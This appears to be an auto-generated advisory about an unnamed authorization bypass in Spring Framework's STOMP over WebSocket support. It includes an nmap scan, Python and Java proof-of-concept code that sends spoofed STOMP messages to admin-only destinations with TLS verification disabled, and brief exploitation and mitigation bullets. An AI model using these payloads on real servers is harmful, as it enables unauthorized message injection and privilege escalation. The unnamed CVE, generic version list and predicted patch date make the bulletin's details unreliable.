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How the mentioned CVE works:
This vulnerability is a security bypass in Spring Framework’s STOMP over WebSocket implementation. The flaw resides in the message authorization mechanism. When a STOMP message is sent via a WebSocket connection, the framework incorrectly validates the user’s permissions for the destination. An attacker can exploit this by crafting a STOMP message with a spoofed destination header or by manipulating the session state. This allows them to send messages to destinations that should be restricted, such as user-specific or admin-only message channels, without proper authorization checks. The underlying issue is a logic flaw in the destination resolution and security interceptor chain, which fails to correctly apply security constraints for certain message types over the WebSocket transport.
Platform: Spring Framework
Version: 5.3.39, 6.0.x, 6.1.x, 6.2.x
Vulnerability: Security Bypass
Severity: Moderate
date: 2025-10-16
Prediction: Patch 2025-10-30
What Undercode Say:
nmap -p 8080 --script stomp-info target.com
import websocket
import ssl
import json
stomp_connect = 'CONNECT\naccept-version:1.2\nhost:localhost\n\n\x00'
stomp_send = 'SEND\ndestination:/user/queue/admin\ncontent-type:application/json\n\n{"cmd":"unauthorized"}\x00'
ws = websocket.create_connection("wss://target.com/ws", sslopt={"cert_reqs": ssl.CERT_NONE})
ws.send(stomp_connect)
ws.send(stomp_send)
StompHeaders headers = new StompHeaders();
headers.setDestination("/app/restrictedEndpoint");
headers.set("user-id", "spoofedAdminId");
stompSession.send(headers, maliciousPayload);
How Exploit:
Craft unauthorized STOMP messages.
Spoof destination headers.
Bypass channel security.
Protection from this CVE
Upgrade Spring Framework.
Validate destinations server-side.
Implement custom authorization.
Impact:
Unauthorized message injection.
Privilege escalation potential.
Data integrity compromise.
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Sources:
Reported By: github.com
Extra Source Hub:
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